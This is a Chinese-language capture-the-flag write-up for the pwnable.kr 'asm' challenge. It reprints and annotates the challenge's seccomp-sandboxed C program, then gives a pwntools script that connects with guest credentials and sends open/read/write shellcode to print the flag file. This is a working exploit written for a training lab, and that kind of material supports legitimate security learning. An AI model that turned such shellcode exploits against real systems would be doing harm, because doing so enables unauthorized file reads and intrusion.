Pwnable之[Toddler’s Bottle](三)–ASM
提示:我觉得一个黑客应该知道怎么做shellcode
查看代码asm.c的代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");//欢迎来到shellcode制作实验挑战
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");//这个挑战,你可以执行shellcode在seccomp沙箱上
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");//尝试制作shellcode
printf("If this does not challenge you. you should play 'asg' challenge :)\n");//如果这个难不到你的话,可以尝试‘asg’挑战
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);//创建0x1000的空间给sh并赋值为0x90
memcpy(sh, stub, strlen(stub));//把stub[]里的代码复制给sh
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);//读取标准输入中sh+offset的值
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp 你在chroot监狱。所以你不能使用/tmp链接
sandbox();//执行沙箱
((void (*)(void))sh)();//从sh地址处开始执行函数,无返回无参数
return 0;
}
上面是我解析过的代码。
可以很清晰的了解程序的思路。
程序创建0x1000空间给sh,然后吧stub复制进去再执行。
接着要你输入你的shellcode。
最后进入沙箱,沙箱里只能执行read,write,open,还有exit 和 exit_group。
先要明白stub[]里的code是什么意思,用pwntools的disasm()反汇编下。
知道里面的都只是清空寄存器的意思。
我们知道flag在
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
这个文件里。
那么思路就很清晰了。
编写一个shellcode,先打开这个文件read到一个寄存器里,再write到标准输出上。
在执行这shellcode时就会输出flag。
构造exp:
# -*- coding: utf-8 -*-
from pwn import *
con=ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode=""
shellcode = shellcode+shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode =shellcode+shellcraft.read('rax','rsp',1000)
shellcode =shellcode+shellcraft.write(1,'rsp',1000)
#print shellcode
log.info(shellcode)
p.recvuntil('shellcode:')
print "shellcode is :"
p.send(asm(shellcode))
log.success(p.recvline())
参考文章:
https://blog.csdn.net/qq_33528164/article/details/71023772
https://blog.csdn.net/weixin_41400278/article/details/78819950
http://www.cnblogs.com/p4nda/p/7169456.html